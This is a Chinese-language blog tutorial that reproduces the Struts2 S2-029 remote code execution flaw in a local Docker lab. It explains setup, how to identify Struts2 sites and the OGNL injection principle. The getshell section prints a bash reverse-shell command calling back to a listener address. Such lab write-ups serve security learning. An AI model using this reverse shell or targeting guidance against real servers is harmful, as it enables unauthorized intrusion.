來淺淺的講一下Struts2漏洞
目錄
1.Docker_Vulnhub搭建
2.Struts2
3.Struts2的框架特征
4.S2-029-->Remote Code Execution
5.漏洞復現
1.RCE
2.Getshell
1.Docker_Vulnhub搭建
因為我用的是Linux,所以我選擇直接搭個docker,這里我建議先換個源
vim /etc/apt/sources.list
我用的清華源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
換完之后記得更新一下
sudo apt update
然后就可以裝我們的docker啦!!!
sudo apt install docker.io
然后就是安裝docker-compose
sudo apt-get install docker-compose
下載vulnhub
git clone https://github.com/vulhub/vulhub.git
//如果上面這個太慢的話,可以試試下面這個wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zip
然后就是開啟docker環境
sudo systemctl start docker
?然后可以去查看一下
然后今天我們要復現的 s2-029在vulnhub里面沒有,所以需要我們自己去拉取
docker pull medicean/vulapps:s_struts2_s2-029
?然后去啟動漏洞環境
docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029
然后你就會發現網卡信息那里多了一欄
然后我們用本機的環境去訪問?kali的ip:8080/default.action
訪問成功,環境搭建成功
2.Struts2
Struts2是apache項目下的一個web 框架,普遍應用于阿里巴巴、京東等互聯網、政府、企業門戶網站。用的java語言開發?
3.Struts2的框架特征
Struts2 框架特征查看被測應用系統的源碼, URL 接口地址以 “ .action ” “ .do ” 結尾或地址中包含 “ ! ” 符號,或者在被測應用的服務器上查看 應用所在目錄/WEB-INF/lib/下的jar文件,若存在struts2-core-2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件 ,則需檢測是否 存在Struts2 遠程代碼執行漏洞。
4.S2-029-->Remote Code Execution
rce的原理
Struts2的動態性在于ongl表達式可以獲取到運行變量的值,并且有機會執行函數調用。如果可以把惡意的請求參數送到ognl的執行流程中,就會導致任意代碼執行漏洞。
5.漏洞復現
1.RCE
這里我就直接用漏掃了?
于是就對應的去利用
看見是能成功rce的!!!
2.Getshell
能不能getshell呢,廢話,都能rce了,肯定能getshell啊!!!
先去開一下netcat
然后就是反向連接彈shell了
/bin/bash -c "bash -i >& /dev/tcp/192.168.246.1/9191 0>&1 "
這樣就是成功的getshell了!!!
當然了,這個有沒有手工的poc呢?? 肯定是有,不過很長?
最后養成好習慣,關閉docker環境
docker-compose down //如果是上面的環境的話,就要走以下命令
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl status docker //最后查看一下環境是否關閉